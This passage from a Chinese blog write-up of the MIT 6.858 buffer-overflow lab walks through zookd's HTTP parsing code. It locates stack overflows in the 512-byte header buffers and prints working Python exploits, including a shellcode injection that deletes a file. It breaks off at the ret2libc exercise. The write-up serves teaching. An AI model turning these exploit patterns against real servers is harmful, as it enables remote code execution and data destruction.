&lt;p&gt;&lt;code&gt;process_client()&lt;&#x2F;code&gt; 的逻辑也比较简单，主要是调用 &lt;code&gt;http_request_line()&lt;&#x2F;code&gt; 获取请求头第一行，之后给到 &lt;code&gt;env_deserialize()&lt;&#x2F;code&gt; 解析环境变量，之后调用 &lt;code&gt;http_request_headers()&lt;&#x2F;code&gt; 解析剩下的 header，最后调用 &lt;code&gt;http_serve()&lt;&#x2F;code&gt; 处理&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;static void process_client(int fd)
{
    static char env[8192];  &amp;#x2F;* static variables are not on the stack *&amp;#x2F;
    static size_t env_len = 8192;
    char reqpath[4096];
    const char *errmsg;

    &amp;#x2F;* get the request line *&amp;#x2F;
    if ((errmsg = http_request_line(fd, reqpath, env, &amp;amp;env_len)))
        return http_err(fd, 500, &amp;quot;http_request_line: %s&amp;quot;, errmsg);

    env_deserialize(env, sizeof(env));

    &amp;#x2F;* get all headers *&amp;#x2F;
    if ((errmsg = http_request_headers(fd)))
      http_err(fd, 500, &amp;quot;http_request_headers: %s&amp;quot;, errmsg);
    else
      http_serve(fd, getenv(&amp;quot;REQUEST_URI&amp;quot;));

    close(fd);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;http-request-line-jie-xi-header-di-yi-xing&quot;&gt;&lt;strong&gt;http_request_line()：解析 header 第一行&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;现在来看 &lt;code&gt;http_request_line()&lt;&#x2F;code&gt;，其首先调用了一个函数 &lt;code&gt;http_read_line()&lt;&#x2F;code&gt; 从 TCP 连接中读取一整行（read() 一个字节一个字节地读，一直读到 &lt;code&gt;\n&lt;&#x2F;code&gt; 并返回读取的字节数，对于 &lt;code&gt;\r&lt;&#x2F;code&gt; 自动跳过，失败则返回 &lt;code&gt;-1&lt;&#x2F;code&gt;，代码就不贴了）&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;const char *http_request_line(int fd, char *reqpath, char *env, size_t *env_len)
{
    static char buf[8192];      &amp;#x2F;* static variables are not on the stack *&amp;#x2F;
    char *sp1, *sp2, *qp, *envp = env;

    &amp;#x2F;* For lab 2: don&amp;#x27;t remove this line. *&amp;#x2F;
    touch(&amp;quot;http_request_line&amp;quot;);

    if (http_read_line(fd, buf, sizeof(buf)) &amp;lt; 0)
        return &amp;quot;Socket IO error&amp;quot;;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后解析路径与请求类型，主要就是用 &lt;code&gt;strchr()&lt;&#x2F;code&gt; 进行分隔后判断，并将结果写到 &lt;code&gt;env&lt;&#x2F;code&gt; 中&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;    &amp;#x2F;* Parse request like &amp;quot;GET &amp;#x2F;foo.html HTTP&amp;#x2F;1.0&amp;quot; *&amp;#x2F;
    sp1 = strchr(buf, &amp;#x27; &amp;#x27;);
    if (!sp1)
        return &amp;quot;Cannot parse HTTP request (1)&amp;quot;;
    *sp1 = &amp;#x27;\0&amp;#x27;;
    sp1++;
    if (*sp1 != &amp;#x27;&amp;#x2F;&amp;#x27;)
        return &amp;quot;Bad request path&amp;quot;;

    sp2 = strchr(sp1, &amp;#x27; &amp;#x27;);
    if (!sp2)
        return &amp;quot;Cannot parse HTTP request (2)&amp;quot;;
    *sp2 = &amp;#x27;\0&amp;#x27;;
    sp2++;

    &amp;#x2F;* We only support GET and POST requests *&amp;#x2F;
    if (strcmp(buf, &amp;quot;GET&amp;quot;) &amp;amp;&amp;amp; strcmp(buf, &amp;quot;POST&amp;quot;))
        return &amp;quot;Unsupported request (not GET or POST)&amp;quot;;

    envp += sprintf(envp, &amp;quot;REQUEST_METHOD=%s&amp;quot;, buf) + 1;
    envp += sprintf(envp, &amp;quot;SERVER_PROTOCOL=%s&amp;quot;, sp2) + 1;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后解析请求中的参数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;    &amp;#x2F;* parse out query string, e.g. &amp;quot;foo.py?user=bob&amp;quot; *&amp;#x2F;
    if ((qp = strchr(sp1, &amp;#x27;?&amp;#x27;)))
    {
        *qp = &amp;#x27;\0&amp;#x27;;
        envp += sprintf(envp, &amp;quot;QUERY_STRING=%s&amp;quot;, qp + 1) + 1;
    }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后调用 &lt;code&gt;url_decode(dst, src)&lt;&#x2F;code&gt; 解析 request URL，这个函数主要就是把 URL 里的 &lt;code&gt;%ab&lt;&#x2F;code&gt; 换成 &lt;code&gt;0xab&lt;&#x2F;code&gt; ，把 &lt;code&gt;+&lt;&#x2F;code&gt; 换成 空格，由 &lt;code&gt;src&lt;&#x2F;code&gt; 拷贝到 &lt;code&gt;dst&lt;&#x2F;code&gt; ；最后将结果写回 &lt;code&gt;env&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;    &amp;#x2F;* decode URL escape sequences in the requested path into reqpath *&amp;#x2F;
    url_decode(reqpath, sp1);

    envp += sprintf(envp, &amp;quot;REQUEST_URI=%s&amp;quot;, reqpath) + 1;

    envp += sprintf(envp, &amp;quot;SERVER_NAME=zoobar.org&amp;quot;) + 1;

    *envp = 0;
    *env_len = envp - env + 1;
    return NULL;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;http-request-headers-jie-xi-header-sheng-yu-bu-fen-cun-zai-lou-dong&quot;&gt;&lt;strong&gt;http_request_headers()：解析 header 剩余部分（存在漏洞）&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;进来首先是一个大循环，每次循环都会调用 &lt;code&gt;http_read_line()&lt;&#x2F;code&gt; 读取一行 header 进行解析：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;const char *http_request_headers(int fd)
{
    static char buf[8192];      &amp;#x2F;* static variables are not on the stack *&amp;#x2F;
    int i;
    char value[512];
    char envvar[512];

    &amp;#x2F;* For lab 2: don&amp;#x27;t remove this line. *&amp;#x2F;
    touch(&amp;quot;http_request_headers&amp;quot;);

    &amp;#x2F;* Now parse HTTP headers *&amp;#x2F;
    for (;;)
    {
        if (http_read_line(fd, buf, sizeof(buf)) &amp;lt; 0)
            return &amp;quot;Socket IO error&amp;quot;;

        if (buf[0] == &amp;#x27;\0&amp;#x27;)     &amp;#x2F;* end of headers *&amp;#x2F;
            break;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后是解析 &lt;code&gt;key: value&lt;&#x2F;code&gt; 型的值，首先是 &lt;code&gt;shrchr()&lt;&#x2F;code&gt; 按空格进行分割，然后将 &lt;code&gt;key&lt;&#x2F;code&gt; 转成大写且 &lt;code&gt;-&lt;&#x2F;code&gt; 转成 &lt;code&gt;_&lt;&#x2F;code&gt; ，之后调用 &lt;code&gt;url_decode()&lt;&#x2F;code&gt; 解析&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这里我们注意到 &lt;code&gt;value&lt;&#x2F;code&gt; 是一个&lt;strong&gt;位于函数栈上的字符数组，长度仅为 512&lt;&#x2F;strong&gt;，而该 HTTP server 所允许的单行最大长度为 8192 字符，这意味着&lt;strong&gt;我们可以很轻易地通过传入一个较长的键值对参数来完成栈溢出&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;        &amp;#x2F;* Parse things like &amp;quot;Cookie: foo bar&amp;quot; *&amp;#x2F;
        char *sp = strchr(buf, &amp;#x27; &amp;#x27;);
        if (!sp)
            return &amp;quot;Header parse error (1)&amp;quot;;
        *sp = &amp;#x27;\0&amp;#x27;;
        sp++;

        &amp;#x2F;* Strip off the colon, making sure it&amp;#x27;s there *&amp;#x2F;
        if (strlen(buf) == 0)
            return &amp;quot;Header parse error (2)&amp;quot;;

        char *colon = &amp;amp;buf[strlen(buf) - 1];
        if (*colon != &amp;#x27;:&amp;#x27;)
            return &amp;quot;Header parse error (3)&amp;quot;;
        *colon = &amp;#x27;\0&amp;#x27;;

        &amp;#x2F;* Set the header name to uppercase and replace hyphens with underscores *&amp;#x2F;
        for (i = 0; i &amp;lt; strlen(buf); i++) {
            buf[i] = toupper(buf[i]);
            if (buf[i] == &amp;#x27;-&amp;#x27;)
                buf[i] = &amp;#x27;_&amp;#x27;;
        }

        &amp;#x2F;* Decode URL escape sequences in the value *&amp;#x2F;
        url_decode(value, sp);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后部分就是如果 &lt;code&gt;key&lt;&#x2F;code&gt; 不为 &lt;code&gt;CONTENT_TYPE&lt;&#x2F;code&gt; 或 &lt;code&gt;CONTENT_LENGTH&lt;&#x2F;code&gt; 则在前面加上字符串 &lt;code&gt;HTTP_&lt;&#x2F;code&gt; 后存储到 &lt;code&gt;envvar&lt;&#x2F;code&gt; 中，并调用 &lt;code&gt;setenv()&lt;&#x2F;code&gt; 设置  &lt;em&gt;环境变量&lt;&#x2F;em&gt;  中的对应值&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这里我们注意到 &lt;code&gt;envvar&lt;&#x2F;code&gt; 也是一个&lt;strong&gt;位于函数栈上的长度仅为 512的字符数组&lt;&#x2F;strong&gt;，因此在这里也可以发生&lt;strong&gt;栈溢出&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;        &amp;#x2F;* Store header in env. variable for application code *&amp;#x2F;
        &amp;#x2F;* Some special headers don&amp;#x27;t use the HTTP_ prefix. *&amp;#x2F;
        if (strcmp(buf, &amp;quot;CONTENT_TYPE&amp;quot;) != 0 &amp;amp;&amp;amp;
            strcmp(buf, &amp;quot;CONTENT_LENGTH&amp;quot;) != 0) {
            sprintf(envvar, &amp;quot;HTTP_%s&amp;quot;, buf);
            setenv(envvar, value, 1);
        } else {
            setenv(buf, value, 1);
        }
    }

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么下面我们来到 Exercise2，写一个 exp 来让 zookd 程序 crash 掉：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exercise 2.&lt;&#x2F;strong&gt;  Write an exploit that uses a buffer overflow to crash the web server (or one of the processes it creates). You do not need to inject code at this point. Verify that your exploit crashes the server by checking the last few lines of &lt;code&gt;dmesg | tail&lt;&#x2F;code&gt;, using &lt;code&gt;gdb&lt;&#x2F;code&gt;, or observing that the web server crashes (i.e., it will print &lt;code&gt;Child process 9999 terminated incorrectly, receiving signal 11&lt;&#x2F;code&gt;)
Provide the code for the exploit in a file called &lt;code&gt;exploit-2.py&lt;&#x2F;code&gt;.
The vulnerability you found in Exercise 1 may be too hard to exploit. Feel free to find and exploit a different vulnerability.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我们现在来测试一下这个漏洞，首先编写一个正常的 HTTP Get 请求：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;import socket
import sys

def exp(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, int(port)))
    print(&amp;quot;Connected to the server. Sending request now...&amp;quot;)

    payload = b&amp;quot;GET &amp;#x2F; HTTP&amp;#x2F;1.0\r\n&amp;quot;
    payload += b&amp;quot;arttnba3: &amp;quot; + b&amp;quot;rat3bant&amp;quot; + b&amp;quot;\r\n&amp;quot;
    payload += b&amp;quot;\r\n&amp;quot;
    sock.send(payload)

    print(&amp;quot;Receiving response...&amp;quot;)
    rbuf = sock.recv(1024)
    resp = b&amp;#x27;&amp;#x27;
    while len(rbuf):
        resp += rbuf
        rbuf = sock.recv(1024)

    print(&amp;quot;Got response:&amp;quot;)
    print(resp)

    sock.close()

if __name__ == &amp;#x27;__main__&amp;#x27;:
    if len(sys.argv) != 3:
        print(&amp;quot;Usage: {} host port&amp;quot;.format(sys.argv[0]))
        exit(-1)
    exp(sys.argv[1], sys.argv[2])
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;效果如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab1&#x2F;httpd-overflow-exploit-result.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来我们尝试利用 &lt;code&gt;envvar&lt;&#x2F;code&gt; 进行溢出测试：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python3
import socket
import sys

def exp():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((&amp;#x27;localhost&amp;#x27;, 8080))
    print(&amp;quot;Connected to the server. Sending request now...&amp;quot;)

    payload = b&amp;quot;GET &amp;#x2F; HTTP&amp;#x2F;1.0\r\n&amp;quot;
    payload += b&amp;quot;arttnba3: &amp;quot; + b&amp;quot;rat3bant&amp;quot; * 512 + b&amp;quot;\r\n&amp;quot;
    payload += b&amp;quot;\r\n&amp;quot;
    sock.send(payload)

    print(&amp;quot;Receiving response...&amp;quot;)
    rbuf = sock.recv(1024)
    resp = b&amp;#x27;&amp;#x27;
    while len(rbuf):
        resp += rbuf
        rbuf = sock.recv(1024)

    print(&amp;quot;Got response:&amp;quot;)
    print(resp)

    sock.close()

if __name__ == &amp;#x27;__main__&amp;#x27;:
    exp()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到 zookd 提示了子进程收到了 &lt;code&gt;signal 11&lt;&#x2F;code&gt;（也就是 &lt;code&gt;SIGSEGV&lt;&#x2F;code&gt;），同时我们收到的响应也为空字符串，说明我们成功触发了这个漏洞&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab1&#x2F;zookd-sigsegv-crash-exploit.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;MIT 其实还贴心地提供了一个 &lt;code&gt;exploit-template.py&lt;&#x2F;code&gt; 文件，让笔者这种不怎么会用 socket 写裸 HTTP 请求的菜鸡可以参考（笑）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;将文件名改成 &lt;code&gt;exploit-2.py&lt;&#x2F;code&gt; 后我们可以使用如下命令进行评测：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ make check-crash
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;评测的原理是检查 &lt;code&gt;&#x2F;tmp&#x2F;strace.log&lt;&#x2F;code&gt; 当中是否有 &lt;code&gt;SIGSEGV&lt;&#x2F;code&gt; 字符串，笔者也不知道为什么反正笔者电脑上没有这个文件，所以这里就跳过了&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x02-part-2-code-injection&quot;&gt;&lt;strong&gt;0x02. Part 2: Code injection&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;这一部分主要是让我们进行代码注入来删掉服务器上的 &lt;code&gt;&#x2F;home&#x2F;student&#x2F;grades.txt&lt;&#x2F;code&gt; 文件（自己创一个就行），要求我们使用栈具有可执行权限的 &lt;code&gt;zookd-exstack&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ .&amp;#x2F;clean-env.sh .&amp;#x2F;zookd-exstack 8080
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实验还为我们提供了一份 shellcode 模板 &lt;code&gt;shellcode.S&lt;&#x2F;code&gt;，当我们 &lt;code&gt;make&lt;&#x2F;code&gt; 的时候其会被编译成 &lt;code&gt;shellcode.bin&lt;&#x2F;code&gt;，我们可以使用 &lt;code&gt;run-shellcode&lt;&#x2F;code&gt; 来验证其功能性：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ .&amp;#x2F;run-shellcode shellcode.bin
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来是 Exercise3，修改 shellcode 使其能删除  &lt;code&gt;&#x2F;home&#x2F;student&#x2F;grades.txt&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exercise 3 (warm-up).&lt;&#x2F;strong&gt;  Modify &lt;code&gt;shellcode.S&lt;&#x2F;code&gt; to unlink &lt;code&gt;&#x2F;home&#x2F;student&#x2F;grades.txt&lt;&#x2F;code&gt;. Your assembly code can either invoke the &lt;code&gt;SYS_unlink&lt;&#x2F;code&gt; system call, or call the &lt;code&gt;unlink()&lt;&#x2F;code&gt; library function.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;里边是丑陋的 AT&amp;amp;T 汇编，笔者选择直接重写一份：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;.globl main
    .type   main, @function

 main:
    &amp;#x2F;* store the string on the stack *&amp;#x2F;
    xorq  %rax, %rax
    pushq %rax
    movq  $0x7478742e73656461, %rax &amp;#x2F;* &amp;quot;ades.txt&amp;quot; *&amp;#x2F;
    pushq %rax
    movq  $0x72672f746e656475, %rax &amp;#x2F;* &amp;quot;udent&amp;#x2F;gr&amp;quot; *&amp;#x2F;
    pushq %rax
    movq  $0x74732f656d6f682f, %rax &amp;#x2F;* &amp;quot;&amp;#x2F;home&amp;#x2F;st&amp;quot; *&amp;#x2F;
    pushq %rax

    &amp;#x2F;* unlink(rsp) *&amp;#x2F;
    pushq %rsp
    popq  %rdi
    movq  $87, %rax &amp;#x2F;* SYS_unlink *&amp;#x2F;
    syscall

    &amp;#x2F;* exit() *&amp;#x2F;
    xorq  %rdi, %rdi
    movq  $60, %rax &amp;#x2F;* SYS_exit *&amp;#x2F;
    syscall

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;成功删除文件：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab1&#x2F;code-injection-unlink-success.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;之后实验文件提示我们可以使用 strace 来跟踪 zookd 所使用的系统调用（需要root）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ strace -f -p $(pgrep zookd-)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;比如说笔者先起一个 zookd 再运行 strace，之后用前面的 exp 打一下 zookd 就可以看到：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab1&#x2F;strace-zookd-syscalls.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;前面的评测应该是基于这个完成的，但是笔者发现在 &lt;code&gt;&#x2F;tmp&#x2F;strace.log&lt;&#x2F;code&gt; 当中不会记录 &lt;code&gt;SIGSEGV&lt;&#x2F;code&gt; 字符串，不过实验的目的毕竟是学知识而不是过测试点所以这里就先不管了&lt;&#x2F;p&gt;
&lt;p&gt;以及我们也可以使用 gdb 进行调试：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ gdb -p $(pgrep zookd-)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab1&#x2F;gdb-attach-zookd.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;之后实验手册扯了一堆怎么调试，这里就不摘抄了，下面来看 Exercise 4，大概是让我们用 ret2shellcode 来打 zookd&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exercise 4.&lt;&#x2F;strong&gt;  Starting from one of your exploits from Exercise 2, construct an exploit that hijacks the control flow of the web server and unlinks &lt;code&gt;&#x2F;home&#x2F;student&#x2F;grades.txt&lt;&#x2F;code&gt;. Save this exploit in a file called &lt;code&gt;exploit-4.py&lt;&#x2F;code&gt;.
Verify that your exploit works; you will need to re-create &lt;code&gt;&#x2F;home&#x2F;student&#x2F;grades.txt&lt;&#x2F;code&gt; after each successful exploit run.
Suggestion: first focus on obtaining control of the program counter. Sketch out the stack layout that you expect the program to have at the point when you overflow the buffer, and use &lt;code&gt;gdb&lt;&#x2F;code&gt; to verify that your overflow data ends up where you expect it to. Step through the execution of the function to the return instruction to make sure you can control what address the program returns to. The &lt;code&gt;next&lt;&#x2F;code&gt;, &lt;code&gt;stepi&lt;&#x2F;code&gt;, and &lt;code&gt;x&lt;&#x2F;code&gt; commands in &lt;code&gt;gdb&lt;&#x2F;code&gt; should prove helpful.
Once you can reliably hijack the control flow of the program, find a suitable address that will contain the code you want to execute, and focus on placing the correct code at that address---e.g. a derivative of the provided shell code.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;因为没有开 ASLR 而且栈具有可执行权限，那么笔者直接用 &lt;code&gt;nop&lt;&#x2F;code&gt; 作为 slide code 并在栈上靠后的位置布置 shellcode 即可，这里注意别忘了把 shellcode 当中的 &lt;code&gt;\x00&lt;&#x2F;code&gt; 编码成 &lt;code&gt;%00&lt;&#x2F;code&gt; 否则会被过滤掉&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python3
from pwn import *
import socket
import sys

context.arch = &amp;#x27;amd64&amp;#x27;
shellcode_text = &amp;#x27;&amp;#x27;&amp;#x27;
    &amp;#x2F;* push string *&amp;#x2F;
    xor rax, rax
    push rax
    mov rax, 0x7478742e73656461
    push rax
    mov rax, 0x72672f746e656475
    push rax
    mov rax, 0x74732f656d6f682f
    push rax

    &amp;#x2F;* print the string *&amp;#x2F;
    mov rdx, 25
    push rsp
    pop rsi
    mov rdi, 1
    mov rax, 1
    syscall

    &amp;#x2F;* remove the file *&amp;#x2F;
    push rsp
    pop rdi
    mov rax, 87
    syscall

    &amp;#x2F;* exit normally *&amp;#x2F;
    xor rdi, rdi
    mov rax, 60
    syscall
&amp;#x27;&amp;#x27;&amp;#x27;

def exp():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((&amp;#x27;localhost&amp;#x27;, 8080))
    print(&amp;quot;Connected to the server. Sending request now...&amp;quot;)

    shellcode = asm(&amp;#x27;nop&amp;#x27;) * 4096 + asm(shellcode_text)
    payload = (p64(0x7fffffffe000) * 128 + shellcode).replace(b&amp;#x27;\x00&amp;#x27;, b&amp;#x27;%00&amp;#x27;)
    req  = b&amp;quot;GET &amp;#x2F; HTTP&amp;#x2F;1.0\r\n&amp;quot;
    req += b&amp;quot;arttnba3: &amp;quot; + payload + b&amp;quot;\r\n&amp;quot;
    req += b&amp;quot;\r\n&amp;quot;
    sock.send(req)

    print(&amp;quot;Receiving response...&amp;quot;)
    rbuf = sock.recv(1024)
    resp = b&amp;#x27;&amp;#x27;
    while len(rbuf):
        resp += rbuf
        rbuf = sock.recv(1024)

    print(&amp;quot;Got response:&amp;quot;)
    print(resp)

    sock.close()

if __name__ == &amp;#x27;__main__&amp;#x27;:
    exp()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;笔者编写的 shellcode 当中有 &lt;code&gt;exit(0)&lt;&#x2F;code&gt; 所以不会报 SIGSEGV，但是有个打印字符串的操作让我们可以直观地看到代码执行成功，如果你想看 SIGSEGV 也可以把最后的 exit 代码去掉：）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab1&#x2F;code-injection-exploit-output.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;使用如下命令进行测评：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ make check-exstack
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab1&#x2F;make-check-exstack-pass.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x03-part-3-return-to-libc-attacks&quot;&gt;&lt;strong&gt;0x03. Part 3: Return-to-libc attacks&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;接下来终于到了大一小朋友都会的 ret2libc 攻击的部分，这一次我们需要使用栈不具有可执行权限的 &lt;code&gt;zookd-nxstack&lt;&#x2F;code&gt; ：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ .&amp;#x2F;clean-env.sh .&amp;#x2F;zookd-nxstack 8080
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;返回导向编程&lt;&#x2F;strong&gt;（return-oriented programming，&lt;strong&gt;ROP&lt;&#x2F;strong&gt;）是用来突破包括 ASLR、栈不可执行保护在内的最为经典的攻击手法，&lt;code&gt;ret2libc&lt;&#x2F;code&gt; 指的则是利用 libc 中的 gadget 来完成 ROP chain 的构建&lt;&#x2F;p&gt;
&lt;p&gt;实验手册中间的一堆介绍和说明直接跳了，没啥意思，接下来我们大踏步进入 Exercise 5：用 &lt;code&gt;ret2libc&lt;&#x2F;code&gt; 这一攻击手法来完成对 zookd 的攻击&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exercise 5.&lt;&#x2F;strong&gt;  Starting from your exploit in Exercises 2 and 4, construct an exploit that unlinks &lt;code&gt;&#x2F;home&#x2F;student&#x2F;grades.txt&lt;&#x2F;code&gt; when run on the binaries that have a non-executable stack. Name this new exploit &lt;code&gt;exploit-5.py&lt;&#x2F;code&gt;.
In this attack you are going to take control of the server over the network &lt;em&gt;without injecting any code&lt;&#x2F;em&gt; into the server. You should use a return-to-libc attack where you redirect control flow to code that already existed before your attack. The outline of the attack is to perform a buffer overflow that:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;causes the argument to the chosen libc function to be on stack&lt;&#x2F;li&gt;
&lt;li&gt;then causes &lt;code&gt;accidentally&lt;&#x2F;code&gt; to run so that argument ends up in &lt;code&gt;%rdi&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;and then causes &lt;code&gt;accidentally&lt;&#x2F;code&gt; to return to the chosen libc function
It will be helpful to draw a stack diagram like the figures in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;thesquareplanet.com&#x2F;blog&#x2F;smashing-the-stack-21st-century&#x2F;&quot;&gt;Smashing the Stack in the 21st Century&lt;&#x2F;a&gt; at (1) the point that the buffer overflows and (2) at the point that &lt;code&gt;accidentally&lt;&#x2F;code&gt; runs.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;首先 &lt;code&gt;checksec&lt;&#x2F;code&gt; ，除了 canary 以外的保护都开了...&lt;&#x2F;p&gt;
